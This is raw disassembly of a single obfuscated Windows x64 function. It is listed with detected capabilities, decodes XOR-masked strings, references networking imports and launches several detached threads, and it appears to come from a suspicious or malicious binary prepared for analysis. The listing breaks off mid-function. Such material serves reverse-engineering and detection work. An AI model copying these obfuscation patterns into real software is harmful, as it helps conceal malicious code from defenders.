Function at 0x1400ec300
Capabilities:
Create thread
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x100
lea rbp, [rsp + 0x50]
and rbp, 0xffffffffffffffe0
xor edx, edx
mov dword [rbp + 0x20], 0xbabc3a63
mov dword [rbp + 0x24], 0x97962ae7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x28], xmm0
mov dword [rbp + 0x38], eax
mov word [rbp + 0x3c], ax
mov byte [rbp + 0x3e], al
movabs r12, 0x20a1ccfa608dc222
movabs r13, 0x8c14091a3aa4e1e
mov r14, qword [0x1402e0430]
mov r15, qword [0x1402e0428]
movzx r10d, byte [rbp + 0xa0]
mov rax, r15
mov r9, r14
nop dword [rax + rax]
mov r11, rdx
movabs rcx, 0x7b756b48e006c01a
cmp r11, 0x1f
jae 0x1400ed18c
movzx esi, byte [rbp + r11 + 0x20]
mov ebx, esi
nop
mov rdi, rbx
cmp rax, r11
ja 0x1400ed183
lea rdx, [r9 + 1]
cmp rax, rdx
jae 0x1400ec3cf
lea rdx, [r11 + rcx]
mov rcx, rdx
and rcx, rbx
imul r10, rcx, 0xfffffffffffffffe
add r10, rdx
add r10, rbx
add r10b, 0x4a
jmp 0x1400ec416
je 0x1400ed0f5
lea rcx, [r9 + 4]
cmp rax, rcx
je 0x1400ed0b4
lea rcx, [r9 + 5]
cmp rax, rcx
je 0x1400ed062
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x1400ed032
lea rcx, [rdx + 1]
cmp rax, rcx
je 0x1400ed004
lea rcx, [r9 + 2]
cmp rax, rcx
je 0x1400ecfb1
cmp r9, r11
ja 0x1400ed17a
lea rcx, [r9 + 0x7a]
cmp rax, rcx
jae 0x1400ec446
lea r8, [r11 + r12]
movzx ecx, r8b
and cl, dil
mov edx, 9
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, bl
jmp 0x1400ec480
lea rcx, [r9 + 1]
cmp rax, rcx
je 0x1400ecf90
inc rcx
cmp rax, rcx
je 0x1400ecf5d
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x1400ecf32
lea rcx, [r9 + 4]
cmp rax, rcx
je 0x1400ecef9
nop dword [rax]
lea rcx, [r9 + rax]
cmp rcx, r11
jbe 0x1400ecaea
nop dword [rax]
lea rcx, [r9 + 0x28]
cmp rax, rcx
je 0x1400ecac1
lea rcx, [r9 + 0x2a]
cmp rax, rcx
je 0x1400eca91
lea rcx, [r9 + 0x40]
cmp rax, rcx
je 0x1400eca68
lea rcx, [r9 + 1]
cmp rax, rcx
je 0x1400eca42
lea rcx, [r9 + 0x42]
cmp rax, rcx
je 0x1400eca1b
lea rcx, [r9 + 2]
cmp rax, rcx
je 0x1400ec9f8
lea rcx, [r9 + 0x64]
cmp rax, rcx
je 0x1400ec9d1
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x1400ec9ab
lea rcx, [r9 + 0x80]
cmp rax, rcx
je 0x1400ec975
lea rcx, [r9 + 4]
cmp rax, rcx
je 0x1400ec490
lea rax, [r9 + 6]
lea r9, [rax + 0x200]
lea rcx, [r9 + 0x400]
cmp rax, rcx
jb 0x1400ed153
lea rcx, [r9 + 8]
cmp rax, rcx
jb 0x1400ed127
lea rcx, [r9 + 0x1000]
cmp rax, rcx
jb 0x1400ec695
lea rcx, [r9 + 9]
cmp rax, rcx
jb 0x1400ec66c
lea rcx, [r9 + 0x61]
cmp rax, rcx
jb 0x1400ec64b
lea rcx, [r9 + 0xa]
cmp rax, rcx
jb 0x1400ec913
lea rcx, [r9 + 0x7a]
cmp rax, rcx
jb 0x1400ec8b1
lea rcx, [r9 + 0x10]
cmp rax, rcx
jb 0x1400ec85d
lea rcx, [r9 + 0x41]
cmp rax, rcx
jb 0x1400ec82e
lea rcx, [r9 + 0x20]
cmp rax, rcx
jb 0x1400ec490
lea rax, [r9 + 0x40]
lea r9, [rax + 0x5a]
lea rcx, [r9 + 1]
cmp rax, rcx
ja 0x1400ec7fc
lea rcx, [r9 + 0x42]
cmp rax, rcx
ja 0x1400ec7d6
lea rcx, [r9 + 2]
cmp rax, rcx
ja 0x1400ec7af
lea rcx, [r9 + 0x64]
cmp rax, rcx
ja 0x1400ec78c
lea rcx, [r9 + 3]
cmp rax, rcx
ja 0x1400ec765
lea rcx, [r9 + 0x80]
cmp rax, rcx
ja 0x1400ec742
lea rcx, [r9 + 4]
cmp rax, rcx
ja 0x1400ec715
lea rcx, [r9 + 0x200]
cmp rax, rcx
ja 0x1400ec6e9
lea rcx, [r9 + 5]
cmp rax, rcx
ja 0x1400ec6c6
lea rcx, [r9 + 0x3e8]
cmp rax, rcx
ja 0x1400ec490
lea rax, [r9 + 0x1000]
lea r9, [rax + 6]
jmp 0x1400ec490
lea r8, [r11 + r13]
movzx ecx, dil
and cl, r8b
mov edx, reloc.WS2_32.dll_socket
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, bl
jmp 0x1400ec480
movabs r8, 0x11d669ffe39ccdea
add r8, r11
movzx ecx, dil
and cl, r8b
add cl, cl
movzx r10d, bl
sub r10b, cl
sub r10b, 0x66
add r10b, r8b
jmp 0x1400ec416
movabs rdx, 0x1aeb936e238f4db6
add rdx, r11
and dil, dl
mov ecx, 3
sub cl, dil
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
movabs rcx, 0x7b756b48e006c01a
jmp 0x1400ec3a0
movabs rcx, 0x50e67d3046e1110
add rcx, r11
and dil, cl
add dil, dil
sub cl, dil
lea r10d, [rsi + rcx]
sub r10b, 0x70
jmp 0x1400ecfd6
movabs rcx, 0xe239141446090dc
add rcx, r11
and dil, cl
add dil, dil
sub bl, dil
lea r10d, [rcx + rbx]
sub r10b, 4
inc r9
dec r11
inc r11
jmp 0x1400ec383
movabs rdx, 0x1738baaf845310a8
add rdx, r11
and dil, dl
mov ecx, 0x34
sub cl, dil
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
dec r11
inc r11
jmp 0x1400ec383
movabs rcx, 0x204de41dc4459074
add rcx, r11
and dil, cl
add dil, dil
sub cl, dil
lea r10d, [rsi + rcx]
sub r10b, 0x2c
jmp 0x1400ed086
movabs rdx, 0x29630d8c04381040
add rdx, r11
and dil, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, dil
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x1400ed0d9
movabs rcx, 0x327836fa442a900c
add rcx, r11
and dil, cl
add dil, dil
sub cl, dil
lea r10d, [rsi + rcx]
sub r10b, 0x54
jmp 0x1400ed0dc
movabs rdx, 0x3b8d6068841d0fd8
add rdx, r11
and dil, dl
mov ecx, ntohl
sub cl, dil
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x1400ece7e
movabs rdx, 0x44a289d6c40f8fa4
add rdx, r11
and dil, dl
add dil, dil
movzx r10d, bl
sub r10b, dil
sub r10b, 0x7c
add r10b, dl
jmp 0x1400eceaf
movabs rcx, 0x4db7b34504020f70
add rcx, r11
and dil, cl
add dil, dil
sub cl, dil
lea r10d, [rsi + rcx]
sub r10b, 0x10
movzx ecx, byte [rbp + r11 + 0x20]
add rcx, r9
add r11, rcx
inc r11
jmp 0x1400ec383
movabs rdx, 0xe46c9ad8a3e04eee
add rdx, r11
and dil, dl
mov ecx, 0x3f
sub cl, dil
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
mov byte [rbp + r11 + 0x20], r10b
inc r11
jmp 0x1400ec383
movabs rcx, 0xed81c446e3d2ceba
add rcx, r11
and dil, cl
add dil, dil
sub bl, dil
lea r10d, [rcx + rbx]
sub r10b, 0x16
cmp r9, 0x10
jb 0x1400ec850
movabs r8, 0x30c8bf0942b08a5c
add r8, r11
movzx ecx, sil
and cl, r8b
add cl, cl
movzx edx, sil
sub dl, cl
add dl, r8b
lea r10d, [rdx*2 - 8]
movzx ebx, sil
jmp 0x1400ecfd6
movabs rdx, 0xf696edb523c54e86
add rdx, r11
and dil, dl
mov ecx, Ordinal_45
sub cl, dil
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
cmp rax, 3
jae 0x1400ece3b
lea rcx, [r9 + 0x42]
cmp rax, rcx
jbe 0x1400eccf6
movabs r8, 0x8b9c5d57c2298854
add r8, r11
movzx ecx, sil
and cl, r8b
add cl, cl
movzx r10d, sil
sub r10b, cl
sub r10b, 0x4c
add r10b, r8b
jmp 0x1400ec87b
movabs rcx, 0xffac172363b7ce52
add rcx, r11
and dil, cl
add dil, dil
sub cl, dil
lea r10d, [rsi + rcx]
sub r10b, 0x3e
lea rcx, [r9 + rax]
cmp rcx, 0x61
je 0x1400ece63
lea rcx, [r9 + 0x41]
cmp rax, rcx
jbe 0x1400ecc16
movabs r8, 0x6afa905d619bc632
add r8, r11
movzx ecx, sil
and cl, r8b
add cl, cl
movzx r10d, sil
sub r10b, cl
sub r10b, 0x5e
add r10b, r8b
jmp 0x1400ec8d3
movabs rdx, 0xc3cacdde43528ccc
add rdx, r11
and dil, dl
mov ecx, gethostname
sub cl, dil
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
movzx ecx, byte [rbp + r11 + 0x20]
add rcx, r9
add r11, rcx
inc r11
jmp 0x1400ec383
movabs rdx, 0xccdff74c83450c98
add rdx, r11
and dil, dl
add dil, dil
movzx r10d, bl
sub r10b, dil
sub r10b, 0x28
add r10b, dl
jmp 0x1400eceaf
movabs rdx, 0xd5f520bac3378c64
add rdx, r11
and dil, dl
mov ecx, Ordinal_35
sub cl, dil
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x1400ece7e
movabs rcx, 0xdf0a4a29032a0c30
add rcx, r11
and dil, cl
add dil, dil
sub bl, dil
lea r10d, [rcx + rbx]
sub r10b, 0x50
jmp 0x1400ed0dc
movabs rdx, 0xe81f7397431c8bfc
add rdx, r11
and dil, dl
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, dil
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x1400ed0d9
movabs rdx, 0xf1349d05830f0bc8
add rdx, r11
and dil, dl
add dil, dil
movzx r10d, bl
sub r10b, dil
sub r10b, 0x78
add r10b, dl
jmp 0x1400ed086
movabs rcx, 0xfa49c673c3018b94
add rcx, r11
and dil, cl
add dil, dil
sub bl, dil
lea r10d, [rcx + rbx]
sub r10b, 0xc
dec r11
inc r11
jmp 0x1400ec383
movabs rdx, 0x35eefe202f40b60
add rdx, r11
and dil, dl
mov ecx, Ordinal_50
sub cl, dil
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
inc r9
dec r11
inc r11
jmp 0x1400ec383
movabs r8, 0xc74195042e68b2c
add r8, r11
movzx ecx, sil
and cl, r8b
add cl, cl
movzx r10d, sil
sub r10b, cl
sub r10b, 0x34
add r10b, r8b
jmp 0x1400ecfd6
lea rcx, [r9 + 2]
cmp rax, rcx
jae 0x1400ecb1d
movabs r8, 0x7b756b48e006c01a
add r8, r11
movzx ecx, sil
and cl, r8b
mov edx, Ordinal_41
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, sil
add r10b, r8b
jmp 0x1400ec931
lea rdx, [r9 + 1]
cmp rax, rdx
jne 0x1400ecb5f
movabs r8, 0x414399f4c11b8444
add r8, r11
movzx ecx, sil
and cl, r8b
mov edx, reloc.WS2_32.dll_select
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, sil
add r10b, r8b
movzx ecx, byte [rbp + r11 + 0x20]
add rcx, r9
add r11, rcx
inc r11
jmp 0x1400ec383
inc rcx
cmp rax, rcx
jne 0x1400ecb91
movabs r8, 0x2f194718413684ac
add r8, r11
movzx ecx, sil
and cl, r8b
mov edx, Ordinal_41
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, sil
add r10b, r8b
jmp 0x1400ece7e
lea rcx, [rdx + 1]
cmp rax, rcx
jne 0x1400ecbae
movabs r8, 0x1ceef43bc1518514
mov edx, Ordinal_60
jmp 0x1400ed0c3
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x1400ecbde
movabs r8, 0x13d9cacd815f0548
add r8, r11
movzx ecx, sil
and cl, r8b
mov edx, 4
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, sil
jmp 0x1400ed083
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x1400ec931
movabs rdx, 0xac4a15f416c857c
add rdx, r11
movzx ecx, sil
and cl, dl
add cl, cl
sub sil, cl
lea r10d, [rdx + rsi]
sub r10b, 0x64
dec r11
inc r11
jmp 0x1400ec383
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x1400ecc49
movabs r8, 0x61e566ef21a94666
add r8, r11
movzx ecx, sil
and cl, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_27
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, sil
add r10b, r8b
jmp 0x1400ecfd6
inc rcx
cmp rax, rcx
jne 0x1400ecc65
movabs r8, 0x4fbb1412a1c446ce
mov edx, Ordinal_50
jmp 0x1400ed041
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x1400ecc92
movabs rdx, 0x46a5eaa461d1c702
add rdx, r11
movzx ecx, sil
and cl, dl
add cl, cl
sub dl, cl
lea r10d, [rsi + rdx]
sub r10b, 0xe
jmp 0x1400ed086
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x1400eccc0
movabs rdx, 0x3d90c13621df4736
add rdx, r11
movzx ecx, sil
and cl, dl
add cl, cl
sub sil, cl
lea r10d, [rdx + rsi]
sub r10b, 0x7a
jmp 0x1400ed0d9
lea rcx, [r9 + 4]
cmp rax, rcx
jne 0x1400ec8d3
movabs r8, 0x2b666e59a1fa479e
add r8, r11
movzx ecx, sil
and cl, r8b
add cl, cl
movzx r10d, sil
sub r10b, cl
sub r10b, 0x52
add r10b, r8b
jmp 0x1400ece7e
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x1400ecd38
movabs r8, 0x828733e982370888
add r8, r11
movzx ecx, sil
and cl, r8b
mov edx, 0x24
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, sil
add r10b, r8b
movzx ecx, byte [rbp + r11 + 0x20]
add rcx, r9
add r11, rcx
inc r11
jmp 0x1400ec383
inc rcx
cmp rax, rcx
jne 0x1400ecd6a
movabs r8, 0x705ce10d025208f0
add r8, r11
movzx ecx, sil
and cl, r8b
mov edx, Ordinal_60
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, sil
add r10b, r8b
jmp 0x1400ece7e
lea rcx, [r9 + 4]
cmp rax, rcx
jne 0x1400ecd9a
movabs r8, 0x551d64c2427a898c
add r8, r11
movzx ecx, sil
and cl, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_22
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, sil
jmp 0x1400ed083
lea rcx, [r9 + 7]
cmp rax, rcx
jne 0x1400ecdce
movabs rdx, 0x4c083b54028809c0
add rdx, r11
movzx ecx, sil
and cl, dl
add cl, cl
sub sil, cl
lea r10d, [rdx + rsi]
sub r10b, 0x40
dec r11
inc r11
jmp 0x1400ec383
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x1400ece0a
movabs r8, 0x42f311e5c29589f4
add r8, r11
movzx ecx, sil
and cl, r8b
mov edx, Ordinal_45
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, sil
add r10b, r8b
inc r9
dec r11
inc r11
jmp 0x1400ec383
lea rcx, [r9 + 6]
cmp rax, rcx
jne 0x1400ec87b
movabs rdx, 0x39dde87782a30a28
add rdx, r11
movzx ecx, sil
and cl, dl
add cl, cl
sub dl, cl
lea r10d, [rsi + rdx]
sub r10b, 0x18
jmp 0x1400ecfd6
movabs r8, 0x27b3959b02be0a90
add r8, r11
movzx ecx, sil
and cl, r8b
movzx edx, byte [rbp + r11 + 0x20]
sub dl, cl
add dl, 8
lea r10d, [rdx + rdx]
jmp 0x1400ed083
movabs rdx, 0x1e9e6c2cc2cb8ac4
add rdx, r11
movzx ecx, sil
and cl, dl
add cl, cl
sub dl, cl
lea r10d, [rdx - 0x5c]
movabs r8, 0x9a13d775a2d24ade
add r8, r11
movzx ecx, bl
and cl, r8b
add cl, cl
movzx edx, bl
sub dl, cl
sub dl, 0x12
add dl, r8b
movzx ecx, dl
mov byte [rbp + r11 + 0x20], cl
inc r9
add rcx, r9
sub r11, rcx
movabs r8, 0x158942be82d90af8
add r8, r11
movzx ecx, r8b
and cl, bl
mov edx, Ordinal_32
sub dl, cl
add dl, dl
add dl, r8b
add dl, bl
mov byte [rbp + r11 + 0x20], dl
inc rax
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
movzx ecx, byte [rbp + r11 + 0x20]
add rcx, r9
add r11, rcx
inc r11
jmp 0x1400ec383
movabs r8, 0xcee3581a210743f6
add r8, r11
movzx ecx, sil
and cl, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_35
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, sil
add r10b, r8b
movzx ecx, byte [rbp + r11 + 0x20]
add rcx, r9
add r11, rcx
inc r11
jmp 0x1400ec383
movabs rdx, 0x56250afa0b642be
add rdx, r11
movzx ecx, sil
and cl, dl
add cl, cl
sub sil, cl
lea r10d, [rdx + rsi]
sub r10b, 0x32
dec r11
inc r11
jmp 0x1400ec383
movabs r8, 0xe777a1de0a8c28a
add r8, r11
movzx ecx, sil
and cl, r8b
mov edx, Ordinal_32
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, sil
add r10b, r8b
inc r9
dec r11
inc r11
jmp 0x1400ec383
movabs rdx, 0x178ca38c209b4256
add rdx, r11
movzx ecx, sil
and cl, dl
add cl, cl
sub dl, cl
lea r10d, [rsi + rdx]
sub r10b, 0x5a
jmp 0x1400ecfd6
movabs r8, 0x29b6f668a08041ee
add r8, r11
movzx ecx, sil
and cl, r8b
mov edx, 0x3f
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, sil
movabs rdx, 0xac3e2a5222b74a76
add rdx, r11
movzx ecx, bl
and cl, dl
add cl, cl
sub bl, cl
sub bl, 0x3a
add bl, dl
mov byte [rbp + r11 + 0x20], bl
inc r9
dec r11
inc r11
jmp 0x1400ec383
movabs rdx, 0x32cc1fd6e072c1ba
add rdx, r11
movzx ecx, sil
and cl, dl
add cl, cl
sub sil, cl
lea r10d, [rdx + rsi]
sub r10b, 0x16
inc r9
dec r11
inc r11
jmp 0x1400ec383
movabs r8, 0x3be1494520654186
mov edx, Ordinal_45
add r8, r11
movzx ecx, sil
and cl, r8b
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, sil
add r10b, r8b
dec r11
inc r11
jmp 0x1400ec383
movabs r8, 0x44f672b36057c152
add r8, r11
movzx ecx, sil
and cl, r8b
add cl, cl
movzx r10d, sil
sub r10b, cl
sub r10b, 0x3e
add r10b, r8b
movabs rdx, 0xa32900e3e2c4caaa
add rdx, r11
movzx ecx, dl
and cl, bl
mov r8d, reloc.WLDAP32.dll_Ordinal_45
sub r8b, cl
add r8b, r8b
add r8b, dl
add r8b, r10b
add r8b, bl
mov byte [rbp + r11 + 0x20], r8b
jmp 0x1400ed0d9
movabs r8, 0x4e0b9c21a04a411e
mov edx, reloc.WS2_32.dll_socket
add r8, r11
movzx ecx, sil
and cl, r8b
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, sil
add r10b, r8b
add rax, r9
movzx ecx, r10b
mov rdx, 0xffffffffffffffff
sub rdx, rcx
add r11, rdx
inc r11
jmp 0x1400ec383
movabs rcx, 0x726041daa014404e
add rcx, r11
and dil, cl
add dil, dil
sub cl, dil
lea r10d, [rsi + rcx]
sub r10b, 0x22
movzx ecx, byte [rbp + r11 + 0x20]
add rcx, r9
add r11, rcx
inc r11
jmp 0x1400ec383
movabs r8, 0x2400bcdc6381cd82
add r8, r11
movzx ecx, sil
and cl, r8b
mov edx, reloc.WS2_32.dll_gethostname
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, sil
add r10b, r8b
xor edx, edx
jmp 0x1400ec37b
movabs rcx, 0x2d15e64aa3744d4e
add rcx, r11
movzx eax, sil
and al, cl
add al, al
sub sil, al
lea r10d, [rcx + rsi]
sub r10b, 0x22
xor edx, edx
jmp 0x1400ec375
mov rax, qword [rbp + 0x1491198]
jmp 0x1400ed190
mov rax, qword [rbp + 0xcfd1b2]
jmp 0x1400ed190
mov rax, qword [rbp + 0x20]
cmp qword [0x1402ddd70], rax
je 0x1400ed1a6
xor eax, eax
call rax
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.140022010
movabs rdi, 0xabe99eaa85bdfaa8
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
movabs rax, 0x2235d26915960afc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
movabs rax, 0x7b4f453583e0cbf2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
movabs rbx, 0x8a7ae9f0a68f62a8
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
movabs rsi, 0xc285ffc3f1d494e1
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
movabs r14, 0x405abe2e35f26f86
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
movabs r12, 0x7b4f45358393a793
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
vmovdqu ymm0, ymmword [rbp + 0x60]
vpxor ymm0, ymm0, ymmword [rbp + 0x20]
vmovdqa ymmword [rbp + 0x20], ymm0
lea rcx, [rbp + 0x20]
vzeroupper
call fcn.140040a00
mov ecx, 8
call fcn.14014ccc8
lea rcx, [0x1400b7560]
mov qword [rax], rcx
mov qword [rbp], rax
lea rcx, [rbp + 0x68]
mov qword [rsp + 0x28], rcx
xor r13d, r13d
mov dword [rsp + 0x20], r13d
mov r9, rax
lea r8, [0x140039fc0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x60], rax
test rax, rax
je 0x1400ee056
mov qword [rbp], r13
cmp dword [rbp + 0x68], r13d
je 0x1400ee04a
movaps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0x20], xmm0
lea rcx, [rbp + 0x20]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400ee04a
xorps xmm0, xmm0
movaps xmmword [rbp + 0x20], xmm0
movdqa xmmword [rbp + 0x60], xmm0
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
movabs rax, 0x323fc86115960afc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
movabs rax, 0x7b4f453583eac6ff
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
vmovdqu ymm0, ymmword [rbp + 0x20]
vpxor ymm1, ymm0, ymmword [rbp + 0x60]
vmovdqa ymmword [rbp + 0x20], ymm1
lea rcx, [rbp + 0x20]
vzeroupper
call fcn.140040a00
lea rcx, [rbp]
call fcn.140016120
movabs rdi, 0x7fffffffffffffff
movabs r15, 0x7ffffffffa0a1eff
mov rax, qword [rbp]
cmp rax, r15
jge 0x1400ed3ac
add rax, 0x5f5e100
mov qword [rbp], rax
jmp 0x1400ed3b0
mov qword [rbp], rdi
lea rcx, [rbp]
call fcn.14001dc00
mov ecx, 8
call fcn.14014ccc8
lea rcx, [0x14003d110]
mov qword [rax], rcx
mov qword [rbp], rax
lea rcx, [rbp + 0x68]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r13d
mov r9, rax
lea r8, [0x140039fc0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x60], rax
test rax, rax
je 0x1400ee03a
mov qword [rbp], r13
cmp dword [rbp + 0x68], 0
je 0x1400ee02e
movaps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0x20], xmm0
lea rcx, [rbp + 0x20]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400ee02e
xorps xmm0, xmm0
movaps xmmword [rbp + 0x20], xmm0
movdqa xmmword [rbp + 0x60], xmm0
lea rcx, [rbp]
call fcn.140016120
mov rax, qword [rbp]
cmp rax, r15
jge 0x1400ed453
add rax, 0x5f5e100
mov qword [rbp], rax
jmp 0x1400ed457
mov qword [rbp], rdi
lea rcx, [rbp]
call fcn.14001dc00
mov ecx, 8
call fcn.14014ccc8
lea rcx, [0x14003d810]
mov qword [rax], rcx
mov qword [rbp], rax
lea rcx, [rbp + 0x68]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r13d
mov r9, rax
lea r8, [0x140039fc0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x60], rax
test rax, rax
je 0x1400ee01e
mov qword [rbp], r13
cmp dword [rbp + 0x68], 0
je 0x1400ee012
movaps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0x20], xmm0
lea rcx, [rbp + 0x20]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400ee012
xorps xmm0, xmm0
movaps xmmword [rbp + 0x20], xmm0
movdqa xmmword [rbp + 0x60], xmm0
lea rcx, [rbp]
call fcn.140016120
mov rax, qword [rbp]
cmp rax, r15
jge 0x1400ed4fa
add rax, 0x5f5e100
mov qword [rbp], rax
jmp 0x1400ed4fe
mov qword [rbp], rdi
lea rcx, [rbp]
call fcn.14001dc00
mov ecx, 8
call fcn.14014ccc8
lea rcx, [0x14003de80]
mov qword [rax], rcx
mov qword [rbp], rax
lea rcx, [rbp + 0x68]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r13d
mov r9, rax
lea r8, [0x140039fc0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x60], rax
test rax, rax
je 0x1400ee002
mov qword [rbp], r13
cmp dword [rbp + 0x68], 0
je 0x1400edff6
movaps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0x20], xmm0
lea rcx, [rbp + 0x20]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400edff6
xorps xmm0, xmm0
movaps xmmword [rbp + 0x20], xmm0
movdqa xmmword [rbp + 0x60], xmm0
movabs rax, 0xb0e094b19e83b4d2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
movabs rax, 0x333edf4b479a3ba6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
movabs rax, 0x1f2a3147e2e7f4b3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
vmovdqu ymm0, ymmword [rbp + 0x20]
vpxor ymm1, ymm0, ymmword [rbp + 0x60]
vmovdqa ymmword [rbp + 0x20], ymm1
lea rcx, [rbp + 0x20]
vzeroupper
call fcn.140040a00
mov ecx, 8
call fcn.14014ccc8
lea rcx, [0x140017e70]
mov qword [rax], rcx
mov qword [rbp], rax
lea rcx, [rbp + 0x68]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r13d
mov r9, rax
lea r8, [0x140039fc0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x60], rax
test rax, rax
je 0x1400edfe6
mov qword [rbp], r13
cmp dword [rbp + 0x68], 0
je 0x1400edfda
movaps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0x20], xmm0
lea rcx, [rbp + 0x20]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400edfda
xorps xmm0, xmm0
movaps xmmword [rbp + 0x20], xmm0
movdqa xmmword [rbp + 0x60], xmm0
movabs rax, 0x8ea58bac93b9fda0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
movabs rax, 0x403edb46569c1ae7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
movdqa xmm0, xmmword [rbp + 0x60]
xorps xmm0, xmmword [rbp + 0x20]
